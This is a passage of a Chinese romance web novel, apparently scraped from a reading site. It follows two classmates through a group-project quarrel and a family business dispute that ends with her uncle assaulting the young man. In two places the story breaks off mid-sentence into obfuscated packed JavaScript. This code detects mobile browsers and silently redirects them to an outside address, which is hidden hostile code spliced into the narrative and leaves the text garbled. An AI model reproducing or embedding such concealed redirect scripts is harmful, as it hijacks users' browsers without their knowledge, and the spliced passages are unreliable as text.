祝岁祯突然被翻了个不太旧的旧账,多少有点心虚,虽然她自认为这么做挺对,但毕竟是偷偷改的,没告诉俞惟叙。 她指望着等他自己发现,然后大家心照不宣地各自做各自的模型,说不定俞惟叙还觉得她有眼力见儿呢。 “那不是……咱们不是商量好了么……” 俞惟叙皱眉道:“我什么时候和你商量拆组了?” “不是要注意一下,别给人机会说闲话嘛。咱这个组就很奇怪啊……” 他打断她:“做个小组作业有什么奇怪的?而且他们都知道咱俩组队,你现在拆开难道不是更奇怪吗?不儿,祝岁祯,咱能不能有点契约精神?擅自作主把我扔了,你这种行为是要付违约金的。” 祝岁祯嘟囔了句:“没钱。” 俞惟叙从鼻腔溢出一声笑。 祝岁祯理直气壮地看着他:“第一次上课的时候,我不是问你咱们怎么分工吗?你说我不用管,都你自己搞定,这样的话有我没我不都一样嘛。” 俞惟叙被她气到:“不一样。你跟着我,我就不用应付别人了。今天有人来问我,说要和我组队,我这才知道被你给抛弃了。” 她眼神游移到别处:“什么……抛弃啊……我这是给你减负,你自己交作业不是能拿更高的分数嘛。” 俞惟叙嗤笑一声:“我在乎那一分两分吗?” 祝岁祯不懂了,他一个挺随和的人,怎么在这件事上这么较真儿: “那你说怎么办?违约金?我没钱。” 俞惟叙趁着祝岁祯没看他,用目光细细描摹着她的五官:“不想违约就继续履行合同,你那组删掉,名字加回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我上次和你说的,只是咱们小班课别总坐在一起,哪怕前后排都行,仅此而已。你不要随便扩大范围,我还以为我哪里惹到你了,反省好久。” 祝岁祯扑哧笑出来:“反省?你在逗我。” 俞惟叙挑眉:“那可不吗?我以为咱俩是好朋友呢,结果突然就不理我了。” 她看了看窗外:“好朋友,行吧,不过我对朋友也没有很热情,”她又看向俞惟叙,“尤其是有了女朋友的异性朋友。” 俞惟叙的表情黯淡了一瞬。 祝岁祯继续说:“虽然不知道你们这,豪门联姻之类的,进行到什么程度了,但是如果有名义上或者实质上的……节点,一定要告诉我。” 她想起何希簏,补充道:“我在这方面可是吃过亏的,你要当我是好朋友,麻烦替我想想。” 他刚想问她吃过什么亏,楼下传来上楼梯的脚步声。 祝岁祯也听到了,小声说:“回教室吧。” 俞惟叙却拦住了她,低声道:“预测模型组队,加回来吧,还按原来的。” 她抬头,用口型无声却用力地说:“No!” 刚说完,俞惟叙猛地逼近她,祝岁祯吓一跳,赶紧往后退。 “加不加。” 俞惟叙两步就把她堵得贴在墙边,她被困在墙和他高大的身躯间,无处可逃。 “你干嘛?!” 祝岁祯不敢大声说话,一边看着楼梯口一边紧张地应付他,“一会儿被人看见了!” “加不加。” 这次他威胁意味更浓,眉眼也变得冷峻,似乎祝岁祯要是不答应,他就要在别人面前对她做出什么可怕的事。 祝岁祯争分夺秒地投降:“好好好,加!行了吧!” 他略得意地翘起嘴角,后退两步。祝岁祯慌忙看向旁边的楼梯,下一秒,就露出一个男生的头顶。 好险! 她气呼呼地瞪了俞惟叙一眼,正准备回教室,却突然被叫住:“祯祯姐?!” 她回头一看,竟然是何希簏。 祝岁祯更后怕了。 这小子人脉太广,万一被他看到刚才那一幕,指不定要大嘴巴地说给多少人听呢。 “啊,嗨,学弟。”她生硬地打招呼。 俞惟叙注意着她的表情,循声望去。看见何希簏的时候,眼神变得锐利起来。 “呵,这就是那个‘床单王子’?” 祝岁祯跟何希簏两人同时一囧。 “床单王子”缓缓上楼,这过程也在打量俞惟叙。 何希簏当然认得他,韩芷玥都念叨多少回了。还说如果再对她不好,她就要分手去追俞学长。 虽然何希簏不愿承认,但就俞惟叙这模样这长相,韩芷玥想追?重新投胎吧。 他脸上绽开一个人畜无害的笑容,礼貌打招呼:“俞学长好,久仰久仰。” 俞惟叙简单回应:“你好。”随后看向祝岁祯,“走吧,去上课。” 祝岁祯对何希簏说:“先走了哈。” 何希簏点点头,跟在他们身后。 俞惟叙和祝岁祯保持着不远不近的距离,嘴上却没闲着,说话音量刚好够何希簏听到: “模型我来做,你忙你考试去。回头我做完了发给你,有不会的地方随时问。” 祝岁祯扭头看他:“你不也有竞赛吗?先弄那个吧,作业回头再说。” 俞惟叙单手插兜走得十分潇洒:“初赛简单,你甭操心我。要不你当组长?组长好像有加分。” 祝岁祯摇头:“啊哟,不用不用,考后再定吧,拜。” 说完,祝岁祯进了教室前门。 俞惟叙继续往后门走,听着背后的脚步声,嘴角扬起一丝暗暗的笑容。 哼,原来就是你小子啊? 祝岁祯坐在位置上,满脑子都是刚才俞惟叙凑近威胁她的场面,她那时心脏砰砰跳,紧张得脑子都是懵的。 太过分了!太过分了! 长得帅的人就应该强制拉去娱乐圈,别有事没事地在普通人面前刷存在感,也不打广告,净折磨人。 祝岁祯这样皱眉暗自抱怨着,但同时又生出一丝她自己都没察觉到的开心。 俞惟叙还愿意和她做朋友,真好。 才不是因为他太帅,只是因为他家有钱罢了,以后是个人脉。 嗯,就是这样! “卧槽……快看,这个学校出公告了。” “牛逼……不诚信名单……” “幸亏我成绩差不保研,你们加油吧呵呵……我滴个娘诶…… ” 祝岁祯回过神来,悄悄听着后排的动静。 他们在讨论的是,保研放弃拟录取的那仨学长学姐其中一个人,被对方院校指名道姓挂在官网了。 大家啧啧惊叹之余,也在刷新另外两个人的外保学校官网,等着吃瓜看公告。 祝岁祯没空再思考俞惟叙了,随他吧,她有更重要的事。 就在这时,俞惟叙把群文档里的分组改了回来,他满意地关闭文件。 -.- 下午大班课前,同学们陆续到机房,祝岁祯和俞惟叙这俩宿舍刚坐下就开始聊八卦。 “听说了吗?上一届保研的事?” 大家都看着祝岁祯,因为就她的成绩靠前必定能保。 她点点头,叹道:“前人砍树,后人中暑,保不了就看看别的出路吧,都是命。” “啊?你为什么保不了啊?” 祝岁祯抿了抿唇,她不好直接说自己想去的学校刚好就是那两所: “没到出名单的时候谁知道呢?别说我了,另外那俩啥情况,学院里这回对他们有什么处置吗?” 大黄撇了撇嘴:“不知道啊,暂时没听说。不过咱们学院挺护犊子的,以前对外都会保学生。但这次,属于是电车难题了,到底帮他仨、还是帮剩下这几届学生。” 梦梦想了想:“不对,不能算是电车难题,这三个人不管怎么样,学弟学妹们肯定要遭这个殃了。” 小羊说:“处置他们没什么用,顶多是警醒和惩罚。” 鸡哥啧啧道:“真就这么放过了?不是说学校可以不配合出留学的材料吗?听说有个要留学来着。” 箫剑叹了口气:“唉,那就看个人本事咯!万一人家有什么背景,你管得了吗?” 祝岁祯看远文表情不太好,知道她刚好处在保研边缘。 如果明年教育部给金院的推免名额减少,远文可能得考研了。那可是不亚于高考的厮杀,尤其是复试,变数太大。 她拍了拍远文,给她加油,起码还有一年可以努力,尽量往前挣名次吧,努力过就不后悔。先不要想考研的事,以后再说。 接下来的日子里,好像所有人都在忙。不是忙着考证书、就是忙着搞成绩。 -.- 十月底,祝岁祯和箫剑、鸡哥考了同一批次的银行从业,当场出分,三个人都过了。 周天晚上,俩宿舍去五道口聚餐吃烤肉,本来平时大班课就在一起聊天,聚餐也没什么太多的话要讲,吃得挺快。 旁边有两桌是语言大学的留学生,一桌韩国人、一桌法国人。于是俩宿舍分别派出翻译官,梦梦翻韩语、俞惟叙翻法语,来给舍友们翻译八卦。 这过程中大家惊奇地发现,俞惟叙竟然也会一些韩语,还和梦梦请教了几处缩略词,大黄拍着他肩膀问: “鱼仔,你还有什么惊喜,是朕不知道的?” 鱼仔把烤熟的杏鲍菇放自己盘子里,回他:“黄桑,多的是,你不知道的事。” 吃完要走的时候,几人聊天。 因为距离数学竞赛只剩两周了,俞惟叙说他需要准备一下,看看国内竞赛的资料题目,所以后续可能就不太来上课了,让大家不用给他占位置。 七个人同时双手合十,开始作法,祈祷鱼仔能为学院争光,场面神神叨叨。 俞惟叙见周围外国人惊讶地瞧了过来,他们似乎以为这是什么没见过的中国饭后仪式。 鱼仔本人尴尬地捂住了脸。 37.第三十七章 十一月悄然而至,学校里一片金黄,银杏、梧桐、白蜡,都顶着金灿灿的树冠,风一吹,地上也是金灿灿的。 祝岁祯经过这些树时,都会放慢脚步,专拣那些干枯的树叶,踩出脆脆的声音。 这是她近期无聊又繁忙的日子里,唯一的乐趣。 可是,一通电话打乱了她平静的生活。 “祯祯呐,大伯听说,有个叫俞惟叙的和你一个系。” 咦? 祝岁祯非常厌恶他,自从来北京前和大伯一家人吃过饭,就没再和他家打交道。大伯为什么会认识俞惟叙? 但她知道,绝对不会是好事。大伯那人唯利是图,听说这两年变本加厉。 祝岁祯赶快离开教室,快步走到没人的地方,小声回答:“是有这么个人,但我跟他不熟,怎么了?” 祝金显:“怎么会不熟呢?都当了几年同学,天天一起上课。你这么漂亮,他没跟你说过话?” 祝岁祯有点不耐烦,但尽量装得对长辈有礼貌: “不是的大伯,他前两年去英国了,刚回来。而且我们院人很多,大家上的课又不一样,没见过几次面。” 祝金显:“哎哟行行行,大伯不懂你们大学生的事。我现在有急事想找他,你跟他要个联系方式给大伯,啊,快点。” 祝岁祯皱起眉头:“联系方式?您找他干什么?” 祝金显:“生意上的事。” 祝岁祯更觉蹊跷:“生意?找他家公司的人不就行了吗。” 大伯语气强硬:“你小姑娘家家的不懂,别多问!让你要联系方式,赶紧去!” 祝岁祯挂了电话,直接在家庭群里问爸妈怎么回事,不一会儿妈妈打来语音。 甄念:“祯祯,怎么了?为什么突然问你大伯?” 祝岁祯:“他找我要我们学院一个同学的联系方式,说有生意上的事想谈。真是莫名其妙,有生意为什么不跟人家公司对接,拐弯抹角从我这里谈?” 甄念:“你那个同学……家里是做什么的?” 祝岁祯:“做家具的。” 甄念:“公司叫‘观鱼’吗?” 祝岁祯:“诶?你知道?” 电话里传来甄念的叹息:“你先等等,我和你爸找他说,乖乖,你好好上课啊。” 祝岁祯:“等一下,到底什么事啊?” 甄念低声道:“你大伯这两年,一直给观鱼供零件之类的。前些日子观鱼的产品出问题了,观鱼查出来是你大伯供的零件不合格,准备走流程起诉你大伯的公司。” 祝岁祯倒吸一口凉气。 她神色凝重地回到座位,远文悄悄问她发生了什么,需不需要帮忙。 祝岁祯勉强笑笑,说亲戚家的生意出了点问题,跟她家没什么关系,让远文不用担心。 她没心思听课,飞快地查网络上有关这件事的新闻。 报道还挺多,不止一个消费者反映产品质量有问题,而且产品坏的方式还都挺像,各角度的图片视频都有。 因为观鱼在国内走中高端路线,主打的就是用料品质和设计,定价也比较贵,消费纠纷变成了公关危机。 观鱼也给出了解决方案,宣布召回所有这批次的产品,不管是通过电商官网平台订购的、还是线下门店出售的,观鱼都会一一联系客户退款收回产品。同时表示会彻查问题根源,给消费者一个交代。 暂时还没出现有关大伯公司的报道,不过祝岁祯觉得应该会很快,毕竟观鱼肯定很想赶紧甩锅出去,挽回企业形象。 第二天,爸妈给她打来电话。 “祯祯,那个什么,不然你就找你同学,要个联系方式?唉,你大伯和大伯母都快愁死了,观鱼要的赔偿特别高……” 祝岁祯闭了闭眼,本来就不想跟俞惟叙多牵扯,结果家里还搞这么一出! 如果是别的亲戚,她肯定就帮了,但大伯不行。她记恨着高三时候的事,当时他见死不救,现在她也要让他尝尝绝望的滋味! 她鄙夷地说:“赔偿不是他应该的吗?谁让他的零件有问题!不想赔就也打官司好了,让法院判吧。” 甄念:“肯定打不赢啊!人家观鱼可专业了,各种证据都明明白白留下来了。” 祝金爀也愁得不行:“你大伯本来想不承认那批货是他供的,结果人家观鱼工厂里全流程都有监控证据,他厂里的人、厂里的车去送的货,赖不了。” 爸爸又说:“观鱼那边不松口,你大伯只好找老板儿子,想求求情,你们这个年纪的小孩儿心软、好说话些。” 祝岁祯手扶额头,心想他家早干嘛了?这两年大伯家挣了钱天天牛逼得不像话,对祝岁祯家趾高气扬,句句瞧不起。 谁知道竟然都是偷工减料来的。 钱糟蹋完了,等东窗事发要赔的时候,赔不起。 祝金爀低声和女儿说:“你大伯家要是赔这么多钱,肯定得变卖厂子房子,以后起不来了……祯祯,就跟你同学要个联系方式,剩下的不用你管了。” 她实在是拉不下脸,但爸妈都这么说了。 “我……问问吧,人家不一定理我啊,要不到怎么办?” 祝金爀:“这有什么难的,你找找别的同学,看谁有,间接要一个就行了。” 她不情愿地接下了这个任务,想的是能拖一天算一天,万一大伯放弃了呢?俞惟叙衣食住行这么大开销,他怎么可能会让自己家受损失。 学院大班课,俞惟叙原本不打算出勤的,但这次专门来了一趟,说员工去日本出差,他让人帮忙在机场带了两盒芝士饼干。 拆开小包装,里面是一个脆脆的蛋卷裹着香甜醇厚的芝士奶酪块,甜度刚刚好。 小羊夸赞道:“鱼仔你的品味真是不错,我也爱吃这款。之前那个白色恋人超级火,还有个什么来着……?” 梦梦接上了:“Tokyo Banana?” 小羊点头:“对对,那个香蕉。我们买回来一尝,太甜了……还有个什么树的也是夹心的饼干,反正我们吃了好几款,最后还是觉得这款好吃。” 梦梦含混不清地说:“我之前寒假去东京看我老公的演唱会,回来的时候也买了这款,好吃得根本停不下来。吃完又在网上买了一点,就是比日本贵太多。” 趁着她们几个聊天,祝岁祯转过身子,试探着问俞惟叙:“你最近都忙着练竞赛题呢?还有功夫管研发吗?” 俞惟叙看着她,心中掀起一点惊讶的波澜。 自从上次他半胁迫地改回分组之后,祝岁祯表面上答应地好好的,两人依旧没什么交流。 他以为是自己态度太过强硬,反而把她惹恼了,但两个宿舍在一起玩的时候,她对他倒也不冷淡。 今天竟然主动跟他搭话了。 俞惟叙单手撑着下巴,心情还不错地回她:“研发……我偶尔盯一下进度就行了,隔两天开个小会,看看他们的日报周报,都是顺手的事不用花太久。” 祝岁祯微微低头,抠了抠椅背边缘的缝隙,眼睛眨吧几下:“哦……那……你家里的生意呢?就是北京这边,你平时也会管吗?” 俞惟叙顿了顿:“你怎么突然关心起这个了?有什么事吗?” 祝岁祯心里发虚,没想到俞惟叙这么敏锐。注意到舍友们也往他俩这里投来了目光,祝岁祯有些不自然。 “呃,就是,只是好奇罢了。没事儿……” 她正想着还是别聊了,俞惟叙却回答了她: “我现在只管研发,家里的生意还是我妈来操心。平时会跟我妈聊一点,但我不管决策,大小事都我妈和公司的高管们开会商量着定的。” 祝岁祯点点头。 梦梦问他:“哎鱼仔,你妈妈有说啥时候让你继承家业吗?” 俞惟叙笑了一下:“还早呢,我感觉起码得在公司里锻炼个十来年。” 两个宿舍都惊讶了,大家都以为他毕业就会当老板呢。 那些偶像剧小说里不都是这样吗? 二十几岁高贵冷艳的男主,手握商业帝国横跨N个行业黑白通吃,在X省呼风唤雨,今天让张家李家破产、明天把王家赵家吞并,财经频道每天都在报道他的动态和花边绯闻…… 俞惟叙无奈:“你们能不能看点正常的,别说我们这小公司了,就是那些民营集团巨头,除非干不动了,否则哪家老子会放权给个二三十岁的小孩?最多拿出来几个子公司或者事业部给接班人锻炼、观察下能力。” 梦梦不信:“你们家还算小公司呢?国内家具行业排行榜前几了都。” 俞惟叙摆摆手:“哎呀小买卖、小买卖……” 大黄苦口婆心地劝:“梦啊,你别拆穿他,人家为了融入咱们穷人集体,很辛苦的。” 俞惟叙笑骂一声:“滚蛋!” 上课了,鱼仔签完到就溜。 晚上爸妈问祝岁祯事情办得怎么样,祝岁祯谎称这两天没看见人,想先跟他打声招呼再要联系方式,不然人家一个不高兴,大伯这不白忙活嘛。 爸妈觉得也是这个道理,毕竟是求人,还得小心为好,就没太催她。 祝岁祯原本以为能再躲躲,这样大伯就不再从她这里想办法了。谁知大伯确实是放弃了要联系方式,改成直接让她把俞惟叙约出来,跟大伯见面! 她太无语了,人家凭什么见他啊……家里的体重秤被他吃了,所以不清楚自己几斤几两吗? 观鱼这种体量的公司,供应商多如牛毛,人家老板难道都一个个见吗?你有多大脸啊! 她忍了忍:“大伯,我刚打听到,俞惟叙周六有数学竞赛,他这些天都在备赛呢不来上课,我找不到他人。” 祝金显:“什么竞赛,考试吗?他什么时候回来?” 祝岁祯:“不知道啊……” 祝金显:“这也不知道、那也不知道,大伯指望你帮个忙,怎么这么难!你有没有把我的事放在心上?大伯都快破产了!” 他突然发飙,祝岁祯赶快把手机拿远一点,声音快把她耳膜轰破了。 祝岁祯:“我……我去问问。” 祝金显:“赶紧问!我马上就去北京。” 祝岁祯挂了电话,烦得要命。不一会儿,大伯的电话又来了: “我刚才查了,你说的那个竞赛,是不是8号的?那个上午就考完了,你告诉他把下午的时间腾出来。” 祝岁祯不晓得他哪里来的自信:“大伯,我真的为您的事操着心呢。我问过同学,他们说俞惟叙只是上学,家里的事他不管的,您找他没用啊。” 祝金显:“无所谓,他是独生子,家里肯定宠得不得了,只要他答应帮忙求情一切都好办。你怎么这么多废话?让你干什么你就干什么!” 祝岁祯无奈:“考试完再找他行吗?我现在不敢打扰他。” 电话那头暴跳如雷:“就个破考试有什么不敢打扰的?他一个富二代他会个屁啊还数学竞赛,装什么逼啊! “祝岁祯!你每次都推三阻四,到底想干什么!就眼睁睁看着我家破产吗?你们家是不是就盼着这天呢?亏老子在你上大学时还给你一万块红包,你就这么报答我?” 祝岁祯被骂得气都不打一出来,血气翻涌上脑门: “你家破不破产和我有什么关系!那红包我当时就说不要,是大伯母硬塞给我的!我现在还给你好了!” 祝金显仍然破口大骂:“肉包子丢给狗,狗还汪汪叫两声呢!我们老祝家怎么就养了你这么个白眼儿狼!小心天雷劈你个小兔崽子!” 祝岁祯直接挂掉电话,气得整个人都在发抖,胸口快炸掉。 见死不救?到底是谁先见死不救?高三的事她不愿回忆,过去就过去了。现在她宁愿被天雷劈死,也不要在俞惟叙面前丢这种人。 她都不敢想,如果俞惟叙知道祝金显是她大伯,该会怎么鄙视她,也完全不敢想学院里的人都怎么看她。 以前别人造谣,她没做过问心无愧。可这次,她真的要颜面扫地了。 深呼吸几下,把气出来的泪花憋回去,她控制好情绪继续刷题。俞惟叙竞赛的那天,也是她要考基金从业的日子。 晚上,祝岁祯刚把错题刷完,手机又响了,是爸爸打来的。 唉。她无奈地起身,拿了件外套出门下楼,找个了僻静的角落。 “喂,爸。” 祝金爀:“祯祯,你,白天和大伯吵架啦?” 委屈涌上来,她说话带着哭腔: “嗯,他骂我。” 祝金爀:“唉,你别跟他一般见识,你大伯脾气爆,火气上来了连你奶奶都骂呢,更别提你大伯母和两个儿子了。我这些年也是窝囊着没理他,毕竟是大哥。” 祝岁祯擦了擦眼泪:“我凭什么要忍他!他在我眼里连个屁都不是!谁稀罕他的钱啊,我没那一万块又不是活不了!” 祝金爀:“好好好,消消气。爸知道,爸都知道。但是吧,哎呀,你大伯母今天晚上来咱家,又是磕头又是哭的,说要死在咱家……” 祝岁祯气得又开始流眼泪:“她跟你们磕什么啊!是咱家让他们给观鱼供次品货吗?是我让他家赔钱的吗?为什么要来逼我!” 祝金爀:“是是是,跟咱们没关系啊,祯祯你别生气,千万别激动,乖乖你精神受不了刺激……” 这话又勾起她几年前的痛苦记忆,她一听,更控制不住了,对老爸发泄大吼: “我好了!我早好了!你别跟我提这个!” 电话那头传来甄念的惊呼:“老祝你干什么!你跟祯祯说什么了!” 祝金爀:“哎哟我……” 后面的祝岁祯听不清了,肯定是妈妈又收拾爸爸了,她望着夜空努力压下情绪,擦掉眼泪。 甄念:“喂?祯祯?还在听吗?宝贝?” 祝岁祯:“嗯。” 甄念:“乖宝贝,不生气啊,为他们一家子犯不着。” 祝岁祯恢复了平静,听着甄念温柔地慢慢讲话。 甄念:“乖乖,别生你爸的气,你大伯逼他逼得太急了,还让你奶奶也……唉,你爸就那个毛病,耳根子软。” 甄念:“祯祯啊,不然你就简单帮一下?万一你以后有用得着他们家的地方,他们也能出个力?毕竟是亲人嘛。” 祝岁祯抽抽嗒嗒地说:“我觉得……很丢人……” 甄念:“哎哟,这有什么的,互相帮忙嘛,你之前实习不也是找同学帮忙的……哎等一下,你大一实习的那个公司,我怎么记得好像是观鱼……” 祝岁祯连忙打断她:“不是,你记错了。” 甄念:“哦哦。祯祯,你和你同学说,不用他跟他家里提这个事,只要他肯露个脸,表示咱确实把话带到了就行,你懂吗?” 祝岁祯冷静下来,心想这事大概是必须得办了,她在外面倒无所谓,但不能不顾着家里的爸妈,他们避不开和大伯、奶奶打交道。 甄念:“祯祯,咱们做个样子就行了,好不好?至于结果……人家怎么可能答应嘛!只是你大伯实在走投无路了,急得都快魔怔了。” 祝岁祯叹了口气:“后天考完试再说吧,他有数学竞赛,我有基金从业,真的很忙。” 甄念:“哟!数学竞赛?那小孩数学还挺好的?你之前不是也考过吗?没进决赛。他能进吗?” 祝岁祯:“对,就是这个竞赛,很重要。我们院指望着他进决赛拿国奖给学校争光呢,他为了这个竞赛最近俩星期都没怎么来上课了。我真的不能打扰他。” 甄念:“这么厉害?唉,我跟你爸再拖一拖。你也别有心里负担,先好好准备你的考试。” 祝岁祯心事重重地回到宿舍,盯着俞惟叙那个香薰杯子盯了好久,又把他送的牛津小熊捏在手里,闭着眼睛静了静心,才又开始刷题。 周六下午,祝岁祯考完试,刚出考点大门就接到大伯母的电话。 “祯祯……大伯母求你了,无论如何也要想办法,把你那个同学喊出来见见你大伯,哪怕骗也要骗出来……你大伯已经在M大外面了……他快被逼死了……” 祝岁祯实在是有点崩溃,满脑子都在想要怎么跟俞惟叙说,路上差点儿撞了电线杆。 到了他租的楼下面,祝岁祯坐在绿化带旁的长椅上,看着不远处俞惟叙那辆跑车,眼一闭、心一横,给他发了消息。 【哈喽!考完了吗?题难不?】 不到一分钟,他回复了。 俞惟叙:【还行,不算难】 祝岁祯:【哦哦,那就好。你今天下午有什么打算吗?】 俞惟叙:【处理点琐碎事。怎么了,你有什么打算】 祝岁祯:【有个……很不好意思的事情,想找你帮忙……会很过分】 她发了个流泪的表情包。 俞惟叙:【哎哟我天呐】 俞惟叙:【让我猜猜】 俞惟叙:【有人疯狂追你,然后你想让我假扮男朋友!】 祝岁祯:【……】 俞惟叙:【不是吗?你先给我个大概的方向,我继续猜】 祝岁祯:【你猜不到的,有点复杂,可以当面说吗?你在学校不?】 俞惟叙:【在。去哪里见?】 祝岁祯:【你楼下吧】 俞惟叙:【OK】 俞惟叙从书房出来,拿了瓶她喜欢喝的椰子水,穿上外套。 突然,他想到什么,走到屋子北边推开窗户往下看。 祝岁祯似乎也听到了一点动静往上看,两人目光交汇。 他笑了一下,挥了挥手,立刻出门下楼。 “你知道我刚才从楼上看你,你像什么吗?”他说着,从单元门出来。 祝岁祯站起来,摇摇头。 “你好像只小猫,坐在地上,抬头看人类。” 祝岁祯勉强笑了下:“你家的仙女小猫最近还好吧?” 俞惟叙递给她椰子水:“可太好了,我一回家就跟我打架,我一躺床上它就要在我身上踩来踩去,我的人权是不存在的。” 祝岁祯被逗笑,接过饮料道了谢。 “呃,那我就说正事了哈……你平时会见见生意上的人吗?比如上下游的客商这类的。” 俞惟叙表情有很细微的变化,似乎在瞬间思考了很多事。 “这个话题确实猜不到。怎么,要采购还是供货?你爸妈那个国企的业务吗?还是亲戚朋友的?” 祝岁祯低下头,看起来很难开口,俞惟叙指了指旁边椅子,和她一起坐下。 她缓缓地说:“我大伯有个厂子,这两年给你家供零件来着,最近,出了点问题……” 俞惟叙眼珠转了转,回想这两天家里的生意有什么事。 祝岁祯告诉他大伯厂子的名字,然后大概说了下出现的产品质量问题。俞惟叙想起来了,但这事出现得有一个月了。 “我大伯想跟你吃个饭,问问事情有没有再商量的余地……” 她紧张地看了眼俞惟叙,发现他竟然噙着一抹玩味的笑。 “让我猜猜,你大伯公司出了这档子事,到处找人都没用,然后你跟他说咱俩关系好,要帮他,对不对?” 祝岁祯慌张否认:“不是不是,我没和他说过,是他自己打听的!” 俞惟叙脸上那抹笑意渐渐消失。 她生怕他误会,继续解释:“他前几天本来找我要你的联系方式,但我没给。然后他又想让我把你约出来和他见面,但你不是挺忙的嘛,我就想着等你考完了再说……” 见俞惟叙不说话,祝岁祯咬了咬牙,艰难问他:“所以,你愿意见他吗?他已经来北京了。” 她没敢看他,低着头,把膝盖旁的裤子褶皱揉来揉去。 俞惟叙侧着身,目光从她微蹙的眉头、不安颤动的眼睫、挺拔秀丽的鼻子和紧闭的双唇滑过,最后落在她蹂躏裤子的手指。 他不合时宜地想,以前他不理解怎么会有大佬为了博美人一笑,豪掷万金。 现在他懂了。 如果以后祝岁祯做小伏低、眼含秋波、柔柔弱弱地求他办事,他说不定也扛不住,丧心病狂地签下什么离谱的单子。 啧,很危险啊,美色误人。 俞惟叙转念一想,之前她还梗着脖子、死犟着不愿意和他一组,这回估计真是被亲戚逼得没招儿了,才来找他。 “我记得你今天也要考试?两科是吗?中间怎么吃的饭?” 祝岁祯迷茫地抬头,不明白他怎么突然问这个。 “啊?哦,考场外随便买了点……” “考得还行吗?” “还行,应该能过。” “嗯,辛苦了,先回宿舍歇歇吧。你大伯的事我先问一下具体情况,如果要见面的话……大概今天晚上吧。” 祝岁祯猛地抬头看他:“啊?你真的要去吗?” 俞惟叙眉毛一挑:“不是你想让我去吗?” 他挪了挪位置,离她更近些:“需要我怎么说?咱俩提前串好词儿。” 祝岁祯没想到他这么好说话,竟然答应了。 “呃,我其实一直都不想打扰你的,所以拖了很久。如果真的见了我大伯,就跟他说咱俩不熟,你竞赛前这俩星期都没去上课,不接电话联系不上……” 俞惟叙听完就觉得离谱: “哦,我为了区区一个初赛,闭关修炼去了是吧?然后还要和不熟的同学亲戚见面吃饭?好的,没问题。” 后面那条无法反驳,但前面这条祝岁祯就想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332267|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释一下了:“你竞赛前不是总不来嘛……” 俞惟叙眼里闪过一丝狡黠:“找个借口而已,不想去上课,坐那儿简直浪费生命,笔记本屏幕又小。” 祝岁祯暗暗吐槽:跟你这种天才没什么好聊的! -.- 回到宿舍已经4点了,她和大伯母说,俞惟叙晚上应该会见大伯。 然后祝岁祯在宿舍焦急地等着俞惟叙的消息,想让他帮自己,但又不想让他去见大伯。 大伯那人实在太不靠谱了,大男子主义如果是一种癌症的话,他绝对是无可救药的晚期,而且还有狂躁并发症,所有认识他的人都觉得放弃治疗吧。 而他千方百计搭上观鱼这条船,两年间挣的钱就像是某种催化剂一样,让他在自我膨胀这条不归路上加速狂奔。 直到快7点的时候,祝岁祯接到电话。 俞惟叙:“久等了,我妈今天带着秘书出差,我刚找到机会问。” 祝岁祯:“没事的。” 俞惟叙:“这个事,可能要让你失望了。” 她拿着手机,苦笑了下:“没关系,我本来也没抱太大希望,你愿意考虑就已经很感谢了。” 俞惟叙:“但我可以去见见你大伯,起码让你亲戚知道你很努力地帮忙了。” 祝岁祯眼眶一热。 这些天她如此煎熬,没想到俞惟叙善解人意的一句话,让她终于体会到一点温暖。 她感激道:“我原本不想掺合进来的,也非常不想打扰你,你之前不是说过公司的事都由你妈妈和高管决定吗?只是我大伯家……” 俞惟叙:“哦……怪不得,那天你突然问我公司的事。那时候怎么不直接跟我说呢?” 祝岁祯不好意思地挠挠头:“不想打扰你考试呗。总之你愿意抽时间去见他一下,就真是帮了我大忙了。” 她想起什么:“对了,我大伯那人脾气特别差,说话也不讲究,你要是不高兴听直接走人就行,不用跟他多待,我们一家人都特别烦他。” 俞惟叙:“行,好,我记住了,还有吗?” 祝岁祯:“没……了吧,就这些。谢谢你,太感谢了。” 俞惟叙:“欠我个人情啊,回头我要是有什么要求,不许跟我说no。” 祝岁祯当然赶紧答应。 帮两边牵好线,她总算是把这事给结束了,难得睡了个大头觉,早餐都不吃了,快10点才迷迷糊糊去洗漱。 回来一看手机,妈妈给她发了信息,问她起来没。 祝岁祯回复过去,不一会儿,妈妈打电话过来。 “祯祯呀,出事了!你大伯昨晚被抓了!故意伤人!大伯母正着急往北京赶呢。” 祝岁祯愣住,心里有个声音狂喊着:不会吧!! 甄念:“他昨晚看求你同学没有用,气急败坏,拿椅子砸人家,给你同学打伤了!餐馆直接报警把他抓了!” 祝岁祯两眼一黑。 甄念:“妈妈给你转一千块钱,你买点好的礼物去看看你同学吧。都这个份上了,你大伯还能干出这么混蛋的事,家都不要了吗……” 她快恨死大伯了! 如果现在大伯站在面前,她绝对是要新仇旧恨一起算的,无论如何都要骂几句解解气,什么人呐! 祝岁祯已经什么都听不进去了,头发没扎,忘了自己一身睡衣没换,光着脚直接穿上鞋子,狂奔到俞惟叙门口,气喘吁吁按下门铃。 她回过神来,刚想着俞惟叙或许在医院,或许在他爸妈家,她怎么没先问问呢…… 就在这时,门开了。 两人看向对方的一瞬间,同时瞪大了眼睛。 俞惟叙把她从头看到脚:“你……这什么造型……宿舍地震了?” 他话还没说完,更令他惊讶的一幕发生了。 祝岁祯的两颗大眼睛,不到三秒就红了,他还没反应过来,那眼眶里竟然飞速蓄满了水,泪珠顺着她脸颊从下巴滴落。 他呆呆地看着:“不是……你……” 楼上传来关门声,有人要下楼,俞惟叙赶紧抓着她手腕把她拉进门。他话还没问出口,祝岁祯在玄关一边给他鞠躬,一边道歉: “对不起……对不起……” 热泪洒了满地。 俞惟叙简直是手忙脚乱,随即哭笑不得地拉住她:“没事没事,不用……” 但她根本听不见似的。 